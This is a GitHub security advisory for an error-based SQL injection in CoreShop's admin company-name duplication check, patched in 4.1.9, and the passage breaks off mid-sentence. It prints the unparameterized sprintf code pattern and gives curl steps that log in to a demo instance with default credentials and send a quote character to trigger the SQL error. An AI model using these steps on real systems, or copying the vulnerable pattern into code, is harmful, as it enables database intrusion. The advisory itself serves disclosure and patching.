GitHub Security Advisory: GHSA-fqcv-8859-86x2
Package: coreshop/core-shop (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-564: SQL Injection: Hibernate
Vulnerable versions: < 4.1.9
Patched in: 4.1.9

Summary: CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier

Details:
# SQL Injection in CustomerTransformerController

## Summary
An **error-based SQL Injection vulnerability** was identified in the `CustomerTransformerController` within the CoreShop admin panel.  
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as **MEDIUM severity**, as it allows SQL execution in an authenticated admin context.

---

## Details
The vulnerability exists in the company name duplication check endpoint:

```
/admin/coreshop/customer-company-modifier/duplication-name-check?value=
```

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

**Vulnerable file:**
```
/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php
```

**Vulnerable code pattern:**
```php
sprintf('name LIKE "%%%s%%"', (string) $value)
```

The `$value` parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.  
Supplying a double quote (`"`) causes a SQL syntax error, confirming that the input is executed in a SQL context.

---

## Exploitation Steps:

### Prerequisites
- Admin panel access at `https://demo4.coreshop.org/admin`
- Default credentials: `admin / coreshop`

### Authenticate to admin panel
```bash
   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&[CREDENTIAL_REDACTED]=$CSRF"
   ```

### Trigger SQL error to confirm injection
   ```bash
   curl -s -b /tmp/session.txt \
     'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'
   ```

   **Expected result:** HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

   **Normal response (non-error):**
   ```json
   {"success":true,"message":null,"list":[]}
   ```

### Proof of Impact:

**Test 1 - Normal query:**
```bash
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}
```

**Test 2 - SQL injection (error-inducing):**
```bash
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>
```
The double quote character causes a SQL syntax error, confirming the injection point. The application re